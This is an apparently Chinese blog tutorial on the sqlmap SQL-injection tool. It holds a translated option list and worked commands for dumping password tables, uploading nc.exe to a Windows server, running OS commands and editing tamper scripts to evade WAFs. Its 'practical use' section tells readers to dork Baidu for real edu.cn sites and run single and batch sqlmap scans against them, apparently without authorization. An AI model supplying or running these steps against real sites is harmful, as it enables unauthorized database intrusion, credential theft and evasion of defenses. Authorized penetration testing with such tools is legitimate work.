网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
–tor-port=TORPORT 设置Tor代理端口
–tor-type=TORTYPE 设置Tor代理类型 (HTTP,SOCKS4 or SOCKS5 (缺省))
–check-tor 检查Tor的是否正确使用
–delay=DELAY 可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。
–timeout=TIMEOUT 可以设定一个HTTP(S)请求超过多久判定为超时,10表示10秒,默认是30秒。
–retries=RETRIES 当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。
–randomize=RPARAM可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样
–safe-url=SAFEURL 提供一个安全不错误的连接,每隔一段时间都会去访问一下
–safe-post=SAFE… 提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。
–safe-req=SAFER… 从文件中加载安全HTTP请求
–safe-freq=SAFE… 测试一个给定安全网址的两个访问请求
–skip-urlencode 跳过URL的有效载荷数据编码
–csrf-token=CSR… Parameter usedto hold anti-CSRF token参数用来保存反CSRF令牌
–csrf-url=CSRFURL URL地址访问提取anti-CSRF令牌
–force-ssl 强制使用SSL/HTTPS
–hpp 使用HTTP参数污染的方法
–eval=EVALCODE 在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。(e.g “import hashlib;id2=hashlib.md5(id).hexdigest()”)
sqlmap.py -u"http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b"--eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
####
#### **优化**
这些选项可用于优化sqlmap性能
-o 打开所有的优化开关
–predict-output 预测普通查询输出
–keep-alive 使用持久HTTP(S)连接
–null-connection 获取页面长度
–threads=THREADS 当前http(s)最大请求数 (默认 1)
#### 注入
这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本
-p TESTPARAMETER 可测试的参数
–skip=SKIP 跳过对给定参数的测试
–skip-static 跳过测试不显示为动态的参数
–param-exclude=… 使用正则表达式排除参数进行测试(e.g. “ses”)
–dbms=DBMS 强制后端的DBMS为此值
–dbms-cred=DBMS… DBMS认证凭证(user:password)
–os=OS 强制后端的DBMS操作系统为这个值
–invalid-bignum 使用大数字使值无效
–invalid-logical 使用逻辑操作使值无效
–invalid-string 使用随机字符串使值无效
–no-cast 关闭有效载荷铸造机制
–no-escape 关闭字符串逃逸机制
–prefix=PREFIX 注入payload字符串前缀
–suffix=SUFFIX 注入payload字符串后缀
–tamper=TAMPER 使用给定的脚本篡改注入数据
####
#### 检测
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容
–level=LEVEL 执行测试的等级(1-5,默认为1)
–risk=RISK 执行测试的风险(0-3,默认为1)
–string=STRING 查询时有效时在页面匹配字符串
–not-string=NOT… 当查询求值为无效时匹配的字符串
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
–code=CODE 当查询求值为True时匹配的HTTP代码
–text-only 仅基于在文本内容比较网页
–titles 仅根据他们的标题进行比较
#### 技巧
这些选项可用于调整具体的SQL注入测试
–technique=TECH SQL注入技术测试(默认BEUST)
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
–union-cols=UCOLS 定列范围用于测试UNION查询注入
–union-char=UCHAR 暴力猜测列的字符数
–union-from=UFROM SQL注入UNION查询使用的格式
–dns-domain=DNS… DNS泄露攻击使用的域名
–second-order=S… URL搜索产生的结果页面
####
#### 指纹
-f, --fingerprint 执行广泛的DBMS版本指纹检查
#### 枚举
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行自定义的SQL语句
-a, --all 获取所有信息
-b, --banner 获取数据库管理系统的标识
–current-user 获取数据库管理系统当前用户
–current-db 获取数据库管理系统当前数据库
–hostname 获取数据库服务器的主机名称
–is-dba 检测DBMS当前用户是否DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–roles 枚举数据库管理系统用户的角色
–dbs 枚举数据库管理系统数据库
–tables 枚举的DBMS数据库中的表
–columns 枚举DBMS数据库表列
–schema 枚举数据库架构
–count 检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url --count -D testdb
–dump 转储数据库表项
–dump-all 转储数据库所有表项
–search 搜索列(S),表(S)和/或数据库名称(S)
–comments 获取DBMS注释
-D DB 要进行枚举的指定数据库名
-T TBL DBMS数据库表枚举
-C COL DBMS数据库表列枚举
-X EXCLUDECOL DBMS数据库表不进行枚举
-U USER 用来进行枚举的数据库用户
–exclude-sysdbs 枚举表时排除系统数据库
–pivot-column=P… Pivot columnname
–where=DUMPWHERE Use WHEREcondition while table dumping
–start=LIMITSTART 获取第一个查询输出数据位置
–stop=LIMITSTOP 获取最后查询的输出数据
–first=FIRSTCHAR 第一个查询输出字的字符获取
–last=LASTCHAR 最后查询的输出字字符获取
–sql-query=QUERY 要执行的SQL语句
–sql-shell 提示交互式SQL的shell
–sql-file=SQLFILE 要执行的SQL文件
####
#### 暴力
这些选项可以被用来运行暴力检查
–common-tables 检查存在共同表
–common-columns 检查存在共同
#### 用户自定义函数注入
这些选项可以用来创建用户自定义函数
–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径
#### 访问文件系统
这些选项可以被用来访问后端数据库管理系统的底层文件系统
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件,SQL Server2005中读取二进制文件example.exe:
sqlmap.py -u"http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther"–file-read “C:/example.exe” -v 1
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下:
python sqlmap.py -u"http://192.168.136.129/sqlmap/mysql/get\_int.aspx?id=1" --file-write"/software/nc.exe" --file-dest "C:/WINDOWS/Temp/nc.exe" -v1
####
#### 操作系统访问
这些选项可以用于访问后端数据库管理系统的底层操作系统
–os-cmd=OSCMD 执行操作系统命令(OSCMD)
–os-shell 交互式的操作系统的shell
–os-pwn 获取一个OOB shell,meterpreter或VNC
–os-smbrelay 一键获取一个OOBshell,meterpreter或VNC
–os-bof 存储过程缓冲区溢出利用
–priv-esc 数据库进程用户权限提升
–msf-path=MSFPATH MetasploitFramework本地的安装路径
–tmp-path=TMPPATH 远程临时文件目录的绝对路径
linux查看当前用户命令:
sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get\_int.php?id=1" --os-cmd id -v1
####
#### Windows注册表访问
这些选项可以被用来访问后端数据库管理系统Windows注册表
–reg-read 读一个Windows注册表项值
–reg-add 写一个Windows注册表项值数据
–reg-del 删除Windows注册表键值
–reg-key=REGKEY Windows注册表键
–reg-value=REGVAL Windows注册表项值
–reg-data=REGDATA Windows注册表键值数据
–reg-type=REGTYPE Windows注册表项值类型
#### 一般选项
这些选项可以用来设置一些一般的工作参数
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
–batch 从不询问用户输入,使用所有默认配置。
–binary-fields=… 结果字段具有二进制值(e.g.“digest”)
–charset=CHARSET 强制字符编码
–crawl=CRAWLDEPTH 从目标URL爬行网站
–crawl-exclude=… 正则表达式从爬行页中排除
–csv-del=CSVDEL 限定使用CSV输出 (default",")
–dump-format=DU… 转储数据格式(CSV(default), HTML or SQLITE)
–eta 显示每个输出的预计到达时间
–flush-session 刷新当前目标的会话文件
–forms 解析和测试目标URL表单
–fresh-queries 忽略在会话文件中存储的查询结果
–hex 使用DBMS Hex函数数据检索
–output-dir=OUT… 自定义输出目录路径
–parse-errors 解析和显示响应数据库错误信息
–save=SAVECONFIG 保存选项到INI配置文件
–scope=SCOPE 从提供的代理日志中使用正则表达式过滤目标
–test-filter=TE… 选择测试的有效载荷和/或标题(e.g. ROW)
–test-skip=TEST… 跳过试验载荷和/或标题(e.g.BENCHMARK)
–update 更新sqlmap
####
#### 其他
-z MNEMONICS 使用短记忆法 (e.g.“flu,bat,ban,tec=EU”)
–alert=ALERT 发现SQL注入时,运行主机操作系统命令
–answers=ANSWERS 当希望sqlmap提出输入时,自动输入自己想要的答案(e.g. “quit=N,follow=N”),例如:sqlmap.py -u"http://192.168.22.128/get_int.php?id=1"–technique=E–answers=“extending=N” --batch
–beep 发现sql注入时,发出蜂鸣声。
–cleanup 清除sqlmap注入时在DBMS中产生的udf与表。
–dependencies Check formissing (non-core) sqlmap dependencies
–disable-coloring 默认彩色输出,禁掉彩色输出。
–gpage=GOOGLEPAGE 使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试
–identify-waf 进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别
–mobile 有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。
–offline Work inoffline mode (only use session data)
–purge-output 从输出目录安全删除所有内容,有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。
–skip-waf 跳过WAF/IPS / IDS启发式检测保护
–smart 进行积极的启发式测试,快速判断为注入的报错点进行注入
–sqlmap-shell 互动提示一个sqlmapshell
–tmp-dir=TMPDIR 用于存储临时文件的本地目录
–web-root=WEBROOT Web服务器的文档根目录(e.g.“/var/www”)
–wizard 新手用户简单的向导使用,可以一步一步教你如何输入针对目标注入
### 三、实际利用
####
#### **检测和利用SQL注入**
1.手工判断是否存在漏洞
对动态网页进行安全审计,通过接受动态用户提供的GET、POST、Cookie参数值、User-Agent请求头。
原始网页:http://192.168.136.131/sqlmap/mysql/get\_int.php?id=1
构造url1:http://192.168.136.131/sqlmap/mysql/get\_int.php?id=1+AND+1=1
构造url2:http://192.168.136.131/sqlmap/mysql/get\_int.php?id=1+AND+1=2
如果url1访问结果跟原始网页一致,而url2跟原始网页不一致,有出错信息或者显示内容不一致,则证明存在SQL注入。
2. sqlmap自动检测
检测语法:sqlmap.py -u http://192.168.136.131/sqlmap/mysql/get\_int.php?id=1
技巧:在实际检测过程中,sqlmap会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数“--batch”命令来自动答复和判断。
3. 寻找和判断实例
通过百度对“inurl:news.asp?id=site:edu.cn”、“inurl:news.php?id= site:edu.cn”、“inurl:news.aspx?id=site:edu.cn”进行搜索,搜索news.php/asp/aspx,站点为edu.cn,如图1所示。随机打开一个网页搜索结果,如图所示,如果能够正常访问,则复制该URL地址
![](https://img-blog.csdnimg.cn/img_convert/81bfd7ba494134f89512880059843451.jpeg)
搜索目标
![](https://img-blog.csdnimg.cn/img_convert/5734945246d8647183df43e9ff8a98e5.jpeg)
测试网页能否正常访问
将该url使用sqlmap进行注入测试,如图3所示,测试结果可能存在SQL注入,也可能不存在SQL注入,存在则可以进行数据库名称,数据库表以及数据的操作。本例中是不存在SQL注入漏洞
![](https://img-blog.csdnimg.cn/img_convert/f98401417ee6edefc77cdc9166af81e1.jpeg)
检测URL地址是否存在漏洞
4. 批量检测
将目标url搜集并整理为txt文件,如图4所示,所有文件都保存为tg.txt,然后使用“sqlmap.py-m tg.txt”,注意tg.txt跟sqlmap在同一个目录下
![](https://img-blog.csdnimg.cn/img_convert/78593e8da4ae1f8ac96cd58f4deff9ac.jpeg)
批量整理目标地址
**直接连接数据库**
sqlmap.py -d"mysql://admin:admin@192.168.21.17:3306/testdb" -f --banner --dbs–users
**数据库相关操作**
1.列数据库信息:--dbs
2.web当前使用的数据库--current-db
3.web数据库使用账户--current-user
4.列出sqlserver所有用户 --users
5.数据库账户与密码 --passwords
6.指定库名列出所有表 -D database --tables
-D:指定数据库名称
7.指定库名表名列出所有字段 -D antian365-T admin --columns
-T:指定要列出字段的表
8.指定库名表名字段dump出指定字段
-D secbang\_com -T admin -C id,password ,username --dump
-D antian365 -T userb -C"email,Username,userpassword" --dump
可加双引号,也可不加双引号。
9.导出多少条数据
-D tourdata -T userb -C"email,Username,userpassword" --start 1 --stop 10 --dump
参数:
--start:指定开始的行
--stop:指定结束的行
此条命令的含义为:导出数据库tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的数据内容
####
**四、SQLMAP实用技巧**
**1. mysql的注释方法进行绕过WAF进行SQL注入**
(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py
return match.group().replace(word,"/\*!0%s" % word) 为:
return match.group().replace(word,"/\*!50000%s\*/" % word)
(2)修改C:\Python27\sqlmap\xml\queries.xml
<cast query="CAST(%s ASCHAR)"/>为:
<castquery="convert(%s,CHAR)"/>
(3)使用sqlmap进行注入测试
sqlmap.py -u"http://\*\*.com/detail.php? id=16" –tamper "halfversionedmorekeywords.py"
其它绕过waf脚本方法:
sqlmap.py-u "http://192.168.136.131/sqlmap/mysql/get\_int.php?id=1" --tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
(4)tamper目录下文件具体含义:
space2comment.py用/**/代替空格
apostrophemask.py用utf8代替引号
equaltolike.pylike代替等号
space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。
写在最后
在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。
需要完整版PDF学习资源私我
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!